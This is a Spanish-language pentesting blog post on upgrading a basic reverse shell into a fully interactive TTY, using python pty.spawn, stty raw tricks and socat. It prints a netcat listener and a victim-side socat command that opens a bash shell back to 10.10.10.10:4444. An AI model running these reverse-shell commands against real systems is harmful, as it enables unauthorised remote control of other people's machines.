Power belongs to the people who take it

Cómo conseguir shell TTY totalmente interactiva

En este post veremos cómo conseguir una terminal tty totalmente interactiva desde una shell simple.

Todo pentester sabe que la sensación cuando se consigue shell reversa (Cheat-Sheet) es muy satisfactoria.

También muchos sabemos faena que supone perder la shell por correr un comando erróneo e intuitivamente pulsa ‘Ctrl-C’

Es realmente incomodo trabajar con terminales no interactivas, además de no manejar correctamente SIGINT (Ctrl-C) , estas terminales tienen también otros problemas:

  • STDERR normalmente no se muestra
  • No hay historial en la tecla de flecha arriba
  • Etc…

Esta guía esta basada en https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ y nuestra experiencia en el mundillo.

Método 1

En la escucha nc -lvp 1234, usando la shell mas apropiada para cada situación conseguimos reversa:

Uno de los comandos mas conocidos es:

python -c 'import pty; pty.spawn("/bin/bash")'

Quizás en alguna maquina el comando ‘python’ no funciona, en estos casos buscad si hay otras versiones de python instaladas, igual hay suerte.

Este comando nos permite teniendo una shell ‘muda’, generar una Pseudo-terminal que engañara a comandos como su para que piense que están siendo ejecutados en una terminal adecuada.
Para poder usar ‘clear’ podemos añadir:

export TERM=screen-256color

Pero esto no nos soluciona el problema del CTRL-C.
Para conseguir que nuestra shell no se cierre con CTRL-C y podamos hacer cosas como usar la teclas flecha, debemos:

[Ctrl Z]
echo $TERM
stty raw -echo
fg
[INTRO]
export TERM=screen

Al escribir el comando ‘stty raw -echo’ nuestra terminal se vera rara, solo tenemos que escribir ‘fg’ y darle a INTRO para volver a la shell (en el GIF no sale el ‘fg’).
Ya podemos usar Ctrl-C, flechas, etc. Probadlo!

Método 2: Usando socat

Socat es como netcat pero mas potente, puede usarse para conseguir TTY completamente interactivas desde conexiones TCP.

Si tienes la suerte de que socat esta instalado en la maquina objetivo, este método es mas sencillo que el anterior:

Listener:

socat file:'tty',raw,echo=0 tcp-listen:4444

Victim:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444 

Si socat no esta instalado, no esta todo perdido, podéis descargar este y otros muchos binarios desde este repositorio:
https://github.com/andrew-d/static-binaries

Herramientas: Ncat
Referencias: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

¿Me ayudas a compatirlo?

2 Comments

  1. Antonio

    Mas claro que el agua no pudo hacerlo… Saludos…

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑